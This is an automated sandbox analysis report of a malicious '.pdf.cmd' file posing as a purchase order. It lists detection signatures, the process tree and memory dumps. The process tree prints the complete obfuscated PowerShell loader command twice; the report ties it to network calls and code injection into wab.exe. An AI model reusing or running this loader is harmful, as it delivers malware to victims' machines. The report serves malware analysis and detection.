Analysis
- max time kernel
149s - max time network
115s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
24/08/2026, 12:19
General
- Target PO SKF LCS 19082026.pdf.cmd
- Size 5KB
- Sample260824-phhzqaxeld
- SHA256 9ff5bba37259f876eaa918db1940c74c3ed65f0ec98424cd7eae7e17aee4325a
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
- Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 1 IoCs
- Suspicious behavior: EnumeratesProcesses 5 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\PO SKF LCS 19082026.pdf.cmd"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoLogo -NoProfile -windowstyle 1 "function zkm_98a ($villec) { [void]($villec.ToString()) };[void][System.Math]::Floor(84.12);rv 'atonien' 'olethreute' 'kkne';$rendes = [System.DateTime]::UtcNow.AddHours(3);$shuntkottakkersu=-60302+60302;$pedolo=-16746+22746;[void][System.Guid]::NewGuid();function daarekist ($shuntko,$rekvisitr) {[void][System.Math]::Sin(45);$mainasmi=skrddersj(@(119,231,205,231,193,232,208,225,128,214,221,225,197,156,137,228,184,223,219,219,198,221,217,228,124)) ;$sabellan = [System.Convert]::ToString(1024, 2);Prebarg ($mainasmi);[void][System.Text.Encoding]::ASCII.GetBytes('flok')}function hr_d9 ($rekvisitryggesto) { [void][System.IO.Path]::GetExtension($rekvisitryggesto) };$male = [System.Environment]::TickCount;Function Cornboleti ($omgivelse,$fodtuds23=0){[void][System.String]::Compare('wpr', 'qzl');$outdoneb=skrddersj(@(174,183,212,224,201,217,215,230,176,174,159,184,197,227,210,180,180,231,202,168,135,199,217,228,188,226,204,154,119,227,210,217,188,234,202,222,198,217,142));$oubli=@(Prebarg ($outdoneb));$confounder0 = [System.Math]::Max(19, 88);For($ballaragw=0; $oubli[$ballaragw] -ne $mntenhe; $ballaragw++){[void][System.DateTime]::DaysInMonth(2026, 8);$oubli[$ballaragw] = daarekist $oubli[$ballaragw] $sgekriteri[$ballaragw%4]}$ydergrnse = [System.Char]::IsLetter('v');$lati231=skrddersj(@(128,222,212,219,193,148,192,213,187,213,215,205,176,209,137,225,200,214,209,219));[void][System.Array]::IndexOf(@('az', 'bl'), 'az');$corporif=Prebarg ($lati231);if ($fodtuds23) { $metachrom = [System.Decimal]::Remainder(99, 4);Prebarg $corporif;[void][System.TimeSpan]::FromMinutes(12)}else {;$corporif;$punta = [System.Math]::Round(7.841)}}$systemar = (Get-Culture).LCID;function Prebarg ($huskesedd,$stahlismm=64) {[void][System.IO.Path]::GetRandomFileName();$stahlismm=45325-45197;$duotoneces = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('ndk'));.($dermenc) $huskesedd}function bj_q6 ($journali54) { [void]($journali54.GetHashCode()) };$sgekriteri=@(83,116,101,114);$cynolo = [System.String]::Concat('zra', 'mtv');function skrddersj ($omgivelse) { [void][System.Math]::Pow(3, 4);do {$lochiah=$omgivelse[$shuntkottakkersu];$fetaeru = [System.DateTime]::IsLeapYear(2028);$lochiah-=$sgekriteri[$shuntkottakkersu%4];[void][System.Int32]::Parse('582');$omgivelse[$shuntkottakkersu]=$lochiah;$pedolo=$omgivelse[$shuntkottakkersu];$ballaragwnduviateo = [System.String]::IsNullOrEmpty('ptx');$pedolo=[char]$pedolo;$farva+=$pedolo;[void][System.Math]::Abs(-42);$shuntkottakkersu++;$tesse = [System.Double]::IsNaN(0.0)} while ($omgivelse[$shuntkottakkersu])$farva;[void][System.Text.Encoding]::UTF8.GetByteCount('brx')}$pyorrhoeal = [System.TimeZoneInfo]::Local.DisplayName;$dermenc=skrddersj @(156,185,189);$skebl='\Groupsa.Tim';[void][System.Math]::Truncate(19.95);$rickasshti=Cornboleti 'ZlpVUnsjDBw3GxIBczoxUmJES0JoVDIbPUJRSXMMU0ZoVBcEaUVQRn1ETFIUEQYZPFtXQmJEVUNjRUU0OgYAFDwMSkNmQEtC';$homoperio = [System.Environment]::ProcessorCount;$diskri=Cornboleti 'OwARAiBOSl03BgwENloCHTwTCRd9FwoffAEGTTYMFR0hAFgWPAMLHjwVAVQ6EFhDMgUQHgslDAARFkgTagANISI8PxMYQlYBMCMIQx05DkQ=';$talukst=Cornboleti 'HgcdHz9GSyE2BhMXISwoPhsgMSJ9QktC';[void][System.String]::Join('-', @('kn', 'rq'));$manvredyg=Cornboleti 'FDEx';$ballaragwndv=Cornboleti 'BgcAAH41Ahc9AA==';$rekvisitrnkh = [System.BitConverter]::GetBytes(100);$mystici=Cornboleti 'bQ==';Cornboleti 'dxMJHTEVCUg9EBYbJwEET3cRCwRpFRUCNxURE3hQFhk2Fgk=' 1;[void][System.Math]::Sqrt(225);Cornboleti 'dxMJHTEVCUgwHAAePBBYVjcdFhkhHUsBIxgMBntQCAsgAAwROl0=' 1;$diskri=$chelod[0];$shuntkoktie = [System.DateTime]::Now.Ticks;Cornboleti 'dxMJHTEVCUgyGQcbJx0KHDYGWDw2A0g9MR4AESdUSDE8GUVWJxUJBzgHEQ==' 1;Cornboleti 'dxMJHTEVCUg1GxcQOgAXF25cMRcgAEgiMgANUncaAQE6ABATeg==' 1;[void][System.Char]::IsUpper('T');while (!$forbitre) {Cornboleti 'dxMJHTEVCUgGGgEAOhEBBDJJQQYhAQA=' 1;$crankish = [System.IO.Path]::ChangeExtension('fl.tmp', 'log');Cornboleti 'dxUIEDoADB09ERdcPAQAHHtQCBM9AhcXNw0CXnNQARsgHxcbf1RBFDIYFhd6' 1;Cornboleti 'dxUIEDoADB09ERdcIBERIDYFEBcgAC0XMhAAAHtQBxM/GAQAMhMSHDcCSVJ3BgwROBUWATsADFs=' 1;[void][System.String]::IsNullOrWhiteSpace('yva');Cornboleti 'dxUIEDoADB09ERdcIBELFntd' 1;Cornboleti 'dxMJHTEVCUgxHREAblAEHzEdERs8GgAAfQcREycBFlJ+ERRSYURV' 1;$shuntkoftapp = [System.Math]::Cbrt(27);if ($bitr) {Cornboleti 'CBYcBjYvOC93EwkdMRUJSDYeCRc1BwpPdxUIEDoADB09ERdcIREWAjwaFhcRGwEL' 1;[void][System.Convert]::ToInt32('3A', 16);Cornboleti 'IBdFVj0QFhsnAQRSdxEPHjYSFh1zWSAcMBsBGz0TRTAqAAA=' 1} $skabelse = [System.Text.Encoding]::Unicode.GetByteCount('dpl');Cornboleti 'ABgAFyNcUVs=' 1;Cornboleti 'dxMJHTEVCUg1GxcQOgAXF25cMRcgAEgiMgANUncaAQE6ABATeg==' 1 ;[void][System.Math]::Sign(-15);Cornboleti 'dxMJHTEVCUg6GRUdJREXT3cTCR0xFQlIMRgAHD0bER14X0BWMBwAHjwQSxE8AQsG' 1;$diskri=$chelod[$impover];$teraphim = [System.DateTime]::Today.DayOfWeek}$olavsu=154033;[void][System.Guid]::Empty.ToString();$cire177=15920;Cornboleti 'dxMJHTEVCUg5FQAVNgYWTzQXRVY9EBYbJwEE' 1;$stom = [System.Math]::Log10(1000);Cornboleti 'dxMJHTEVCUgAGwkXMB0WFydFUkVuLyYdPQIAACcpX0gVBgofERUWF2VANgYhHQsVe1APEzYTAAAgXQ==' 1;Cornboleti 'dxMJHTEVCUg3ERYBbi8xFysASzc9FwoWOhoCL2lOJCEQPSxcFBERIScGDBw0XEEhPBgAEToHAAZiQ1Jb' 1;[void][System.String]::Copy('qnz');Cornboleti 'dxMJHTEVCUgmGgceMhAMT3cQAAEgWhYHMQcRADoaAlp3GwkTJQcQXncXDAA2RVJFeg==' 1;Prebarg $unbladi;function xf_p2 ($shuntkolligatore) { [void]($shuntkolligatore.GetType()) };;;;#Speakssik germanIexreessenti Nonhie Gromiaf Viddhaldi Collabor ;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function zkm_98a ($villec) { [void]($villec.ToString()) };[void][System.Math]::Floor(84.12);rv 'atonien' 'olethreute' 'kkne';$rendes = [System.DateTime]::UtcNow.AddHours(3);$shuntkottakkersu=-60302+60302;$pedolo=-16746+22746;[void][System.Guid]::NewGuid();function daarekist ($shuntko,$rekvisitr) {[void][System.Math]::Sin(45);$mainasmi=skrddersj(@(119,231,205,231,193,232,208,225,128,214,221,225,197,156,137,228,184,223,219,219,198,221,217,228,124)) ;$sabellan = [System.Convert]::ToString(1024, 2);Prebarg ($mainasmi);[void][System.Text.Encoding]::ASCII.GetBytes('flok')}function hr_d9 ($rekvisitryggesto) { [void][System.IO.Path]::GetExtension($rekvisitryggesto) };$male = [System.Environment]::TickCount;Function Cornboleti ($omgivelse,$fodtuds23=0){[void][System.String]::Compare('wpr', 'qzl');$outdoneb=skrddersj(@(174,183,212,224,201,217,215,230,176,174,159,184,197,227,210,180,180,231,202,168,135,199,217,228,188,226,204,154,119,227,210,217,188,234,202,222,198,217,142));$oubli=@(Prebarg ($outdoneb));$confounder0 = [System.Math]::Max(19, 88);For($ballaragw=0; $oubli[$ballaragw] -ne $mntenhe; $ballaragw++){[void][System.DateTime]::DaysInMonth(2026, 8);$oubli[$ballaragw] = daarekist $oubli[$ballaragw] $sgekriteri[$ballaragw%4]}$ydergrnse = [System.Char]::IsLetter('v');$lati231=skrddersj(@(128,222,212,219,193,148,192,213,187,213,215,205,176,209,137,225,200,214,209,219));[void][System.Array]::IndexOf(@('az', 'bl'), 'az');$corporif=Prebarg ($lati231);if ($fodtuds23) { $metachrom = [System.Decimal]::Remainder(99, 4);Prebarg $corporif;[void][System.TimeSpan]::FromMinutes(12)}else {;$corporif;$punta = [System.Math]::Round(7.841)}}$systemar = (Get-Culture).LCID;function Prebarg ($huskesedd,$stahlismm=64) {[void][System.IO.Path]::GetRandomFileName();$stahlismm=45325-45197;$duotoneces = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('ndk'));.($dermenc) $huskesedd}function bj_q6 ($journali54) { [void]($journali54.GetHashCode()) };$sgekriteri=@(83,116,101,114);$cynolo = [System.String]::Concat('zra', 'mtv');function skrddersj ($omgivelse) { [void][System.Math]::Pow(3, 4);do {$lochiah=$omgivelse[$shuntkottakkersu];$fetaeru = [System.DateTime]::IsLeapYear(2028);$lochiah-=$sgekriteri[$shuntkottakkersu%4];[void][System.Int32]::Parse('582');$omgivelse[$shuntkottakkersu]=$lochiah;$pedolo=$omgivelse[$shuntkottakkersu];$ballaragwnduviateo = [System.String]::IsNullOrEmpty('ptx');$pedolo=[char]$pedolo;$farva+=$pedolo;[void][System.Math]::Abs(-42);$shuntkottakkersu++;$tesse = [System.Double]::IsNaN(0.0)} while ($omgivelse[$shuntkottakkersu])$farva;[void][System.Text.Encoding]::UTF8.GetByteCount('brx')}$pyorrhoeal = [System.TimeZoneInfo]::Local.DisplayName;$dermenc=skrddersj @(156,185,189);$skebl='\Groupsa.Tim';[void][System.Math]::Truncate(19.95);$rickasshti=Cornboleti 'ZlpVUnsjDBw3GxIBczoxUmJES0JoVDIbPUJRSXMMU0ZoVBcEaUVQRn1ETFIUEQYZPFtXQmJEVUNjRUU0OgYAFDwMSkNmQEtC';$homoperio = [System.Environment]::ProcessorCount;$diskri=Cornboleti 'OwARAiBOSl03BgwENloCHTwTCRd9FwoffAEGTTYMFR0hAFgWPAMLHjwVAVQ6EFhDMgUQHgslDAARFkgTagANISI8PxMYQlYBMCMIQx05DkQ=';$talukst=Cornboleti 'HgcdHz9GSyE2BhMXISwoPhsgMSJ9QktC';[void][System.String]::Join('-', @('kn', 'rq'));$manvredyg=Cornboleti 'FDEx';$ballaragwndv=Cornboleti 'BgcAAH41Ahc9AA==';$rekvisitrnkh = [System.BitConverter]::GetBytes(100);$mystici=Cornboleti 'bQ==';Cornboleti 'dxMJHTEVCUg9EBYbJwEET3cRCwRpFRUCNxURE3hQFhk2Fgk=' 1;[void][System.Math]::Sqrt(225);Cornboleti 'dxMJHTEVCUgwHAAePBBYVjcdFhkhHUsBIxgMBntQCAsgAAwROl0=' 1;$diskri=$chelod[0];$shuntkoktie = [System.DateTime]::Now.Ticks;Cornboleti 'dxMJHTEVCUgyGQcbJx0KHDYGWDw2A0g9MR4AESdUSDE8GUVWJxUJBzgHEQ==' 1;Cornboleti 'dxMJHTEVCUg1GxcQOgAXF25cMRcgAEgiMgANUncaAQE6ABATeg==' 1;[void][System.Char]::IsUpper('T');while (!$forbitre) {Cornboleti 'dxMJHTEVCUgGGgEAOhEBBDJJQQYhAQA=' 1;$crankish = [System.IO.Path]::ChangeExtension('fl.tmp', 'log');Cornboleti 'dxUIEDoADB09ERdcPAQAHHtQCBM9AhcXNw0CXnNQARsgHxcbf1RBFDIYFhd6' 1;Cornboleti 'dxUIEDoADB09ERdcIBERIDYFEBcgAC0XMhAAAHtQBxM/GAQAMhMSHDcCSVJ3BgwROBUWATsADFs=' 1;[void][System.String]::IsNullOrWhiteSpace('yva');Cornboleti 'dxUIEDoADB09ERdcIBELFntd' 1;Cornboleti 'dxMJHTEVCUgxHREAblAEHzEdERs8GgAAfQcREycBFlJ+ERRSYURV' 1;$shuntkoftapp = [System.Math]::Cbrt(27);if ($bitr) {Cornboleti 'CBYcBjYvOC93EwkdMRUJSDYeCRc1BwpPdxUIEDoADB09ERdcIREWAjwaFhcRGwEL' 1;[void][System.Convert]::ToInt32('3A', 16);Cornboleti 'IBdFVj0QFhsnAQRSdxEPHjYSFh1zWSAcMBsBGz0TRTAqAAA=' 1} $skabelse = [System.Text.Encoding]::Unicode.GetByteCount('dpl');Cornboleti 'ABgAFyNcUVs=' 1;Cornboleti 'dxMJHTEVCUg1GxcQOgAXF25cMRcgAEgiMgANUncaAQE6ABATeg==' 1 ;[void][System.Math]::Sign(-15);Cornboleti 'dxMJHTEVCUg6GRUdJREXT3cTCR0xFQlIMRgAHD0bER14X0BWMBwAHjwQSxE8AQsG' 1;$diskri=$chelod[$impover];$teraphim = [System.DateTime]::Today.DayOfWeek}$olavsu=154033;[void][System.Guid]::Empty.ToString();$cire177=15920;Cornboleti 'dxMJHTEVCUg5FQAVNgYWTzQXRVY9EBYbJwEE' 1;$stom = [System.Math]::Log10(1000);Cornboleti 'dxMJHTEVCUgAGwkXMB0WFydFUkVuLyYdPQIAACcpX0gVBgofERUWF2VANgYhHQsVe1APEzYTAAAgXQ==' 1;Cornboleti 'dxMJHTEVCUg3ERYBbi8xFysASzc9FwoWOhoCL2lOJCEQPSxcFBERIScGDBw0XEEhPBgAEToHAAZiQ1Jb' 1;[void][System.String]::Copy('qnz');Cornboleti 'dxMJHTEVCUgmGgceMhAMT3cQAAEgWhYHMQcRADoaAlp3GwkTJQcQXncXDAA2RVJFeg==' 1;Prebarg $unbladi;function xf_p2 ($shuntkolligatore) { [void]($shuntkolligatore.GetType()) };;;;#Speakssik germanIexreessenti Nonhie Gromiaf Viddhaldi Collabor ;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
-
-
C:\Program Files (x86)\Windows Mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe"2⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Groupsa.Tim
memory/2800-0-0x00007FFD36F6F000-0x00007FFD36F70000-memory.dmp
memory/2800-2-0x00000178F33F0000-0x00000178F3412000-memory.dmp
memory/2800-1-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-5-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-6-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-7-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-8-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-9-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-10-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-11-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-12-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-13-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-14-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-15-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-16-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-17-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-20-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-22-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-23-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/2800-26-0x00007FFD36DE0000-0x00007FFD37784000-memory.dmp
memory/3560-25-0x0000000074EC2000-0x0000000074EC3000-memory.dmp
memory/3560-27-0x0000000002A80000-0x0000000002AB6000-memory.dmp
memory/3560-28-0x0000000074EB0000-0x000000007566C000-memory.dmp
memory/3560-29-0x00000000055E0000-0x0000000005C2A000-memory.dmp
memory/3560-30-0x0000000074EB0000-0x000000007566C000-memory.dmp
memory/3560-31-0x00000000054A0000-0x00000000054C2000-memory.dmp
memory/3560-33-0x0000000005CA0000-0x0000000005D06000-memory.dmp
memory/3560-32-0x0000000005C30000-0x0000000005C96000-memory.dmp
memory/3560-36-0x0000000005D50000-0x00000000060AB000-memory.dmp
memory/3560-38-0x0000000006270000-0x000000000628E000-memory.dmp
memory/3560-39-0x00000000066C0000-0x000000000670C000-memory.dmp
memory/3560-41-0x0000000007AD0000-0x000000000814C000-memory.dmp
memory/3560-42-0x0000000006800000-0x000000000681A000-memory.dmp
memory/3560-43-0x00000000076D0000-0x0000000007766000-memory.dmp
memory/3560-44-0x0000000007670000-0x0000000007692000-memory.dmp
memory/3560-45-0x0000000008710000-0x0000000008CCA000-memory.dmp
memory/3560-47-0x0000000074EB0000-0x000000007566C000-memory.dmp
memory/3560-49-0x0000000074EC2000-0x0000000074EC3000-memory.dmp
memory/3560-48-0x0000000074EB0000-0x000000007566C000-memory.dmp
memory/3560-51-0x0000000074EB0000-0x000000007566C000-memory.dmp
memory/3560-50-0x0000000074EB0000-0x000000007566C000-memory.dmp
memory/3560-52-0x0000000074EB0000-0x000000007566C000-memory.dmp
memory/3560-53-0x0000000074EB0000-0x000000007566C000-memory.dmp
memory/3560-54-0x0000000008CD0000-0x0000000009EE9000-memory.dmp
memory/3560-55-0x0000000074EB0000-0x000000007566C000-memory.dmp
memory/3560-56-0x0000000074EB0000-0x000000007566C000-memory.dmp
memory/3560-57-0x0000000074EB0000-0x000000007566C000-memory.dmp